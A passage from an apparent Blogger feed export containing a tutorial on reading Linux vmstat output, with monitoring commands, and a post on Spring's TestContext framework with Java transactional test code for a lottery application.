<li>netem - <a class="external" href="http://www.linuxfoundation.org/collaborate/workgroups/networking/netem" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">http://www.linuxfoundation.org/collaborate/workgroups/networking/netem</a></li>
<li>Simulate delayed and dropped packets on Linux - <a class="external" href="http://stackoverflow.com/questions/614795/simulate-delayed-and-dropped-packets-on-linux" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #2a5a8a; font-weight: bold; padding-left: 12px;">http://stackoverflow.com/questions/614795/simulate-delayed-and-dropped-packets-on-linux</a></li>
</ul>
</h1>
Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com1tag:blogger.com,1999:blog-30018430.post-47969286887022145472013-11-07T10:58:00.001+08:002013-11-07T14:23:55.697+08:00Understanding Vmstat Output<div style="border: 0px; font-size: 14px; line-height: 1.428571em; margin: 0px; padding: 0px;">
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
Below is a Vmstat output:</div>
<div style="border: 0px; line-height: 1.428571em; margin: 0px; padding: 0px;">
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin-bottom: 0.714285em; padding: 0px;">
procs -----------memory-------------- ---swap-- -----io---- --system-- -----cpu--------<br />
r b<span style="line-height: 1.428571em;"> </span> swpd free buff cache si so bi bo in cs us sy id wa st<br />
2 0 2573144 12404 1140 47128 185 263 185 299 3173 3705 92 8 0 0 0<br />
3 0 <span style="line-height: 1.428571em;"> </span>2574708 12304 1188 47436 192 187 192 234 3079 3468 92 8 0 0 0</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under Procs we have</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
r: The number of processes waiting for run time or placed in run queue or are already executing (running)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
b: The number of processes in uninterruptible sleep. (b=blocked queue, waiting for resource (e.g. filesystem I/O blocked, inode lock))</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
If runnable threads (r) divided by the number of CPU is greater than one -> possible CPU bottleneck</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
(The (r) coulmn should be compared with number of CPUs (logical CPUs as in uptime) if we have enough CPUs or we have more threads.)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
High numbers in the blocked processes column (b) indicates slow disks.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
(r) should always be higher than (b); if it is not, it usually means you have a CPU bottleneck<br />
<br clear="none" />
Note: “cat /proc/cpuinfo” dispalys the cpu info on the machine</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">>cat /proc/cpuinfo|grep processor|wc -l</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">output: 16</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
Remember that we need to know the number of CPUs on our server because the vmstat r value must never exceed the number of CPUs. r value of 13 is perfectly acceptable for a 16-CPU server, while a value of 16 would be a serious problem for a 12-CPU server.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
Whenever the value of the r column exceeds the number of CPUs on the server, tasks are forced to wait for execution.There are several solutions to managing CPU overload, and these alternatives are:</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
1. Add more processors (CPUs) to the server.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
2. Load balance the system tasks by rescheduling large batch tasks to execute during off-peak hours.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under Memory we have:</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
swpd: shows how many blocks are swapped out to disk (paged). The amount of Virtual memory used.<br />
Note: you can see the swap area configured in server using "cat proc/swaps"</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">>cat /proc/meminfo</span><br />
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">>cat /proc/swaps</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">Filename Type Size Used Priority</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">/dev/dm-7 partition 16777208 21688 -1</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
free: The amount of Idle Memory<br />
buff: Memory used as buffers, like before/after I/O operations<br />
cache: Memory used as cache by the Operating System</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under Swap we have:</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
si: Amount of memory swapped in from disk (/s). This shows page-ins</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
so: Amount of memory swapped to disk (/s). This shows page-outs. The so column is zero consistently, indicating there are no page-outs.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
In Ideal condition, si and so should be at 0 most of the time, and we definitely don’t like to see more than 10 blocks per second.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under IO we have:</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
bi: Blocks received from block device - Read (like a hard disk)(blocks/s)<br />
bo: Blocks sent to a block device – Write(blocks/s)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under System we have:</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
in: The number of interrupts per second, including the clock.<br />
cs: The number of context switches per second.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
(A context switch occurs when the currently running thread is different from the previously running thread, so it is taken off of the CPU.)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
It is not uncommon to see the context switch rate be approximately the same as device interrupt rate (in column)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
If<strong style="line-height: 1.428571em;"> cs is high</strong>, it may indicate too much process switching is occurring, thus using memory inefficiently.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
If <strong style="line-height: 1.428571em;">cs is higher then sy</strong>, system is doing more context switching than actual work.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;">High r with high cs -> possible lock contention</strong><br />
Lock contention occurs whenever one process or thread attempts to acquire a lock held by another process or thread. The more granular the available locks, the less likely one process/thread will request a lock held by the other. (For example, locking a row rather than the entire table, or locking a cell rather than the entire row.)<br />
<br clear="none" />
When you are seeing blocked processes or high values on waiting on I/O (wa), it usually signifies either real I/O issues where you are waiting for file accesses or an I/O condition associated with paging due to a lack of memory on your system.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;">Note:</strong><span style="line-height: 1.428571em;"> the memory, swap, and I/O statistics are in blocks, not in bytes. In Linux, blocks are usually 1,024 bytes (1 KB).</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">Under CPU we have:</span></strong></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
These are percentages of total CPU time.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
us: % of CPU time spent in user mode (not using kernel code, not able to acces to kernel resources). Time spent running non-kernel code. (user time, including nice time)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
sy: % of CPU time spent running kernel code. (system time)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
id: % of CPU idle time</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
wa: % of CPU time spent waiting for IO.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" />
Note: the memory, swap, and I/O statistics are in blocks, not in bytes. In Linux, blocks are usually 1,024 bytes (1 KB).</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">To measure true idle time measure id+wa together:</span></strong><br />
<strong style="line-height: 1.428571em;">- if id=0%</strong>, it does not mean all CPU is consumed, because "wait" (wa) can be 100% and waiting for an I/O to complete<br />
<strong style="line-height: 1.428571em;">- if wait=0%</strong>, it does not mean I have no I/O waiting issues, because as long I have threads which keep the CPU busy I could have additional threads waiting for I/O, but this will be masked by the running threads<br />
<br clear="none" />
If process A is running and process B is waiting on I/O, the wait% still would have a 0 number.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
A 0 number doesn't mean I/O is not occurring, it means that the system is not waiting on I/O.</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
If process A and process B are both waiting on I/O, and there is nothing that can use the CPU, then you would see that column increase.<br />
<br clear="none" />
<strong style="line-height: 1.428571em;">- if wait%</strong> <strong style="line-height: 1.428571em;">is high,</strong> it does not mean I have io performance problem, it can be an indication that I am doing some IO but the cpu is not kept busy at all<br />
<strong style="line-height: 1.428571em;">- if id% is high</strong> then likely there is no CPU or I/O problem<br />
<br clear="none" />
<strong style="line-height: 1.428571em;"><span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;">To measure cpu utilization measure us+sy together (and compare it to physc):</span></strong><br />
<strong style="line-height: 1.428571em;">- if us+sy is always greater than 80%</strong>, then CPU is approaching its limits </div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<strong style="line-height: 1.428571em;">- if us+sy = 100%</strong> -> possible CPU bottleneck<br />
<strong style="line-height: 1.428571em;">- if sy is high,</strong> your appl. is issuing many system calls to the kernel and asking the kernel to work. It measures how heavily the appl. is using kernel services.<br />
<strong style="line-height: 1.428571em;">- if sy is higher than us</strong>, this means your system is spending less time on real work (not good)</div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<br clear="none" /></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="text-decoration: underline;" style="line-height: 1.428571em; text-decoration: underline;"><strong style="line-height: 1.428571em;">Mointor System with Vmstat:</strong></span></div>
<div style="border: 0px; font-family: Helvetica, Arial, 'Droid Sans', sans-serif; line-height: 1.428571em; margin: 0px; padding: 0px;">
<span data-mce-style="font-family: 'courier new', courier, monospace;" style="font-family: 'courier new', courier, monospace; line-height: 1.428571em;">>nohup vmstat -n 10 604879 > myvmstatfile.dat &</span></div>
<div style="border: 0px; line-height: 1.428571em; margin: 0px; padding: 0px;">
<div style="font-family: Helvetica, Arial, 'Droid Sans', sans-serif;">
<span data-mce-style="font-family: helvetica, arial, sans-serif;" style="font-family: helvetica, arial, sans-serif; line-height: 1.428571em;">To generate one week of Virtual Memory stats spaced out at ten second intervals (less the last one) is 60,479 10 second intervals</span></div>
<div style="font-family: Helvetica, Arial, 'Droid Sans', sans-serif;">
<span data-mce-style="font-family: helvetica, arial, sans-serif;" style="font-family: helvetica, arial, sans-serif; line-height: 1.428571em;"><br /></span></div>
<span data-mce-style="font-family: helvetica, arial, sans-serif;" style="font-family: Courier New, Courier, monospace; line-height: 1.428571em;">> nohup vmstat -n 3 5|awk '{now=strftime("%Y-%m-%d %T "); print now $0}' > vmstat.data &</span><br />
<span data-mce-style="font-family: helvetica, arial, sans-serif;" style="font-family: Arial, Helvetica, sans-serif; line-height: 1.428571em;">Append timestamp to the vmstat output.</span></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-45921840012805385012013-07-12T17:54:00.003+08:002013-11-07T11:28:30.952+08:00Dive into Spring test framework - Part2<a href="http://ramonli.blogspot.com/2011/01/dive-into-spring-test-framework.html">Part1 - Dive into Spring test framework(junit3.8)</a><br />
<br />
Now let's put eyes on Spring testcontext framework which is introduced since Spring 3.X.<br />
<br />
<h2>
The general Idea of Spring TextContext framework</h2>
Spring3.X has deprecated JUnit 3.8 class hierarchy, let's have a look at Spring TextContext framework. Below is a test class by means of TestContext.<br />
<table style="border-style: dotted;"><tbody>
<tr><td><pre><span class="lnr"> 1 </span>package com.mpos.lottery.te.draw.dao;
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>import javax.persistence.EntityManager;
<span class="lnr"> 4 </span>import javax.persistence.PersistenceContext;
<span class="lnr"> 5 </span>
<span class="lnr"> 6 </span>import org.apache.commons.logging.Log;
<span class="lnr"> 7 </span>import org.apache.commons.logging.LogFactory;
<span class="lnr"> 8 </span>import org.junit.After;
<span class="lnr"> 9 </span>import org.junit.Before;
<span class="lnr"> 10 </span>import org.junit.Test;
<span class="lnr"> 11 </span>import org.springframework.test.annotation.Rollback;
<span class="lnr"> 12 </span>import org.springframework.test.context.ContextConfiguration;
<span class="lnr"> 13 </span>import org.springframework.test.context.junit4.AbstractTransactionalJUnit4SpringContextTests;
<span class="lnr"> 14 </span>import org.springframework.test.context.transaction.AfterTransaction;
<span class="lnr"> 15 </span>import org.springframework.test.context.transaction.BeforeTransaction;
<span class="lnr"> 16 </span>import org.springframework.test.context.transaction.TransactionConfiguration;
<span class="lnr"> 17 </span>
<span class="lnr"> 18 </span>import com.mpos.lottery.te.common.dao.ShardKeyContextHolder;
<span class="lnr"> 19 </span>
<span class="lnr"> 20 </span>/**
<span class="lnr"> 21 </span> * Spring TestContext Framework. If extending from
<span class="lnr"> 22 </span> * <code>AbstractTransactionalJUnit4SpringContextTests</code>, you don't need to
<span class="lnr"> 23 </span> * declare <code>@RunWith</code>,
<span class="lnr"> 24 </span> * <code>TestExecutionListeners(3 default listeners)</code> and
<span class="lnr"> 25 </span> * <code>@Transactional</code>. Refer to
<span class="lnr"> 26 </span> * {@link AbstractTransactionalJUnit4SpringContextTests} for more information.
<span class="lnr"> 27 </span> * <p>
<span class="lnr"> 28 </span> * Legacy JUnit 3.8 class hierarchy is deprecated.
<span class="lnr"> 29 </span> *
<span class="lnr"> 30 </span> * @author Ramon Li
<span class="lnr"> 31 </span> */
<span class="lnr"> 32 </span>//@RunWith(SpringJUnit4ClassRunner.class)
<span class="lnr"> 33 </span>@ContextConfiguration(locations = { "/spring-service.xml", "/spring-dao.xml",
<span class="lnr"> 34 </span> "/spring-shard-datasource.xml" })
<span class="lnr"> 35 </span>@TransactionConfiguration(transactionManager = "transactionManager", defaultRollback = false)
<span class="lnr"> 36 </span>//@TestExecutionListeners(listeners = { TransactionalTestExecutionListener.class,
<span class="lnr"> 37 </span>// ShardAwareTestExecutionListener.class })
<span class="lnr"> 38 </span>//@Transactional
<span class="lnr"> 39 </span>public class GameDaoTest extends AbstractTransactionalJUnit4SpringContextTests {
<span class="lnr"> 40 </span> private Log logger = LogFactory.getLog(GameDaoTest.class);
<span class="lnr"> 41 </span> // Must declare @Autowire(by type) or @Resource(JSR-250)(by name)
<span class="lnr"> 42 </span> // explicitly, otherwise spring won't inject the dependency.
<span class="lnr"> 43 </span> private GameDao gameDao;
<span class="lnr"> 44 </span> @PersistenceContext(unitName = "lottery_te")
<span class="lnr"> 45 </span> private EntityManager entityManager;
<span class="lnr"> 46 </span>
<span class="lnr"> 47 </span> public GameDaoTest() {
<span class="lnr"> 48 </span> logger.debug("GameDaoTest()");
<span class="lnr"> 49 </span> // As spring test framework will create a auto-rollbacked transaction
<span class="lnr"> 50 </span> // before setup a test case(even @BeforeTransaction, the data source has
<span class="lnr"> 51 </span> // been determined), we must set the shard key before creating
<span class="lnr"> 52 </span> // transaction, otherwise the default data source of
<span class="lnr"> 53 </span> // <code>ShardKeyRoutingDataSource</code> will be returned if it has
<span class="lnr"> 54 </span> // been set.
<span class="lnr"> 55 </span> ShardKeyContextHolder.setShardKey(new Integer("2"));
<span class="lnr"> 56 </span> }
<span class="lnr"> 57 </span>
<span class="lnr"> 58 </span> @BeforeTransaction
<span class="lnr"> 59 </span> public void verifyInitialDatabaseState() {
<span class="lnr"> 60 </span> // logic to verify the initial state before a transaction is started
<span class="lnr"> 61 </span> logger.debug("@BeforeTransaction:verifyInitialDatabaseState()");
<span class="lnr"> 62 </span>
<span class="lnr"> 63 </span> logger.debug("EntityManager:" + this.entityManager);
<span class="lnr"> 64 </span> logger.debug("gameDao:" + this.gameDao);
<span class="lnr"> 65 </span> }
<span class="lnr"> 66 </span>
<span class="lnr"> 67 </span> @Before
<span class="lnr"> 68 </span> public void setUpTestDataWithinTransaction() {
<span class="lnr"> 69 </span> // set up test data within the transaction
<span class="lnr"> 70 </span> logger.debug("@Before:setUpTestDataWithinTransaction()");
<span class="lnr"> 71 </span> }
<span class="lnr"> 72 </span>
<span class="lnr"> 73 </span> @Test
<span class="lnr"> 74 </span> // overrides the class-level defaultRollback setting
<span class="lnr"> 75 </span> @Rollback(true)
<span class="lnr"> 76 </span> public void test_2() {
<span class="lnr"> 77 </span> // logic which uses the test data and modifies database state
<span class="lnr"> 78 </span> logger.debug("test_2()");
<span class="lnr"> 79 </span>
<span class="lnr"> 80 </span> }
<span class="lnr"> 81 </span>
<span class="lnr"> 82 </span> @Test
<span class="lnr"> 83 </span> public void test_1() {
<span class="lnr"> 84 </span> logger.debug("test_1()");
<span class="lnr"> 85 </span> // logger.debug("**** Start to query oracle data source.");
<span class="lnr"> 86 </span> String sql = "select TYPE_NAME from GAME_TYPE where GAME_TYPE_ID=9";
<span class="lnr"> 87 </span> // setSharkKey() won't affect here
<span class="lnr"> 88 </span> ShardKeyContextHolder.setShardKey(new Integer("1"));
<span class="lnr"> 89 </span> // Map<String, Object> result1 =
<span class="lnr"> 90 </span> // this.getJdbcTemplate().queryForMap(sql);
<span class="lnr"> 91 </span>
<span class="lnr"> 92 </span> // logger.debug("**** Start to query mysql data source.");
<span class="lnr"> 93 </span> // setSharkKey() won't affect here
<span class="lnr"> 94 </span> // ShardKeyContextHolder.setShardKey(new Integer("2"));
<span class="lnr"> 95 </span> // Map<String, Object> result2 =
<span class="lnr"> 96 </span> // this.getJdbcTemplate().queryForMap(sql);
<span class="lnr"> 97 </span>
<span class="lnr"> 98 </span> // Avoid false positives when testing ORM code[Spring manual document]
<span class="lnr"> 99 </span> this.entityManager.flush();
<span class="lnr">100 </span> }
<span class="lnr">101 </span>
<span class="lnr">102 </span> @After
<span class="lnr">103 </span> public void tearDownWithinTransaction() {
<span class="lnr">104 </span> // execute "tear down" logic within the transaction.
<span class="lnr">105 </span> logger.debug("@After:tearDownWithinTransaction()");
<span class="lnr">106 </span> }
<span class="lnr">107 </span>
<span class="lnr">108 </span> @AfterTransaction
<span class="lnr">109 </span> public void verifyFinalDatabaseState() {
<span class="lnr">110 </span> // logic to verify the final state after transaction has rolled back
<span class="lnr">111 </span> logger.debug("@AfterTransaction:verifyFinalDatabaseState()");
<span class="lnr">112 </span>
<span class="lnr">113 </span> }
<span class="lnr">114 </span>
<span class="lnr">115 </span>}
</pre>
</td></tr>
</tbody></table>
<br />
Be honest to say, Spring is good at its automatical transaction rollback, if you know it very well and maintain your test code with big care. The bad side is it enlarges the transaction boundary, in general the boundary of your transaction will be the invocation of a service method, spring test framework enlarges it to the test method.<br />
It will incur below two issues:<br />
<br />
<ul>
<li>Hibernate flush. If no select on given entity, hibernate won't flush DML of that entity info underlying database, until committing or flush explicitly.</li>
<li>Hibernate lazy loading. If you want to deserialize a entity out of transaction, you will know what I mean.</li>
</ul>
<div>
Below is my base test class which all transactional integration test should inherit from.</div>
<blockquote class="tr_bq">
<pre id='vimCodeElement'>
<span class="PreProc">package</span> com.mpos.lottery.te.test.integration;
<span class="PreProc">import static</span> org.junit.Assert.assertEquals;
<span class="PreProc">import</span> java.util.Calendar;
<span class="PreProc">import</span> java.util.Date;
<span class="PreProc">import</span> java.util.UUID;
<span class="PreProc">import</span> javax.persistence.EntityManager;
<span class="PreProc">import</span> javax.persistence.PersistenceContext;
<span class="PreProc">import</span> org.apache.commons.logging.Log;
<span class="PreProc">import</span> org.apache.commons.logging.LogFactory;
<span class="PreProc">import</span> org.junit.After;
<span class="PreProc">import</span> org.junit.AfterClass;
<span class="PreProc">import</span> org.junit.Before;
<span class="PreProc">import</span> org.junit.BeforeClass;
<span class="PreProc">import</span> org.springframework.test.context.ContextConfiguration;
<span class="PreProc">import</span> org.springframework.test.context.junit4.AbstractTransactionalJUnit4SpringContextTests;
<span class="PreProc">import</span> org.springframework.test.context.transaction.AfterTransaction;
<span class="PreProc">import</span> org.springframework.test.context.transaction.BeforeTransaction;
<span class="PreProc">import</span> org.springframework.test.context.transaction.TransactionConfiguration;
<span class="PreProc">import</span> org.springframework.test.context.transaction.TransactionalTestExecutionListener;
<span class="PreProc">import</span> com.mpos.lottery.te.config.MLotteryContext;
<span class="PreProc">import</span> com.mpos.lottery.te.gamespec.prize.Payout;
<span class="PreProc">import</span> com.mpos.lottery.te.gamespec.sale.BaseTicket;
<span class="PreProc">import</span> com.mpos.lottery.te.hasplicense.domain.License;
<span class="PreProc">import</span> com.mpos.lottery.te.trans.domain.Transaction;
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> This test will be ran against </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">DispatchServlet</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special"> directly, that</span>
<span class="Comment"> *</span><span class="Special"> says we must support lookup </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">ApplicationContext</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special"> from</span>
<span class="Comment"> *</span><span class="Special"> </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">ServletContext</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">, refer to</span>
<span class="Comment"> *</span><span class="Special"> </span><span class="Special">{@link org.springframework.web.context.support.WebApplicationContextUtils}</span>
<span class="Comment"> *</span><span class="Special"> </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> *</span><span class="Special"> Spring TestContext Framework.</span><span class="Comment"> If extending from</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">AbstractTransactionalJUnit4SpringContextTests</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">, you don't need to</span>
<span class="Comment"> * declare </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@RunWith</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">,</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">TestExecutionListeners(3 default listeners)</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> and</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Transactional</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">. Refer to</span>
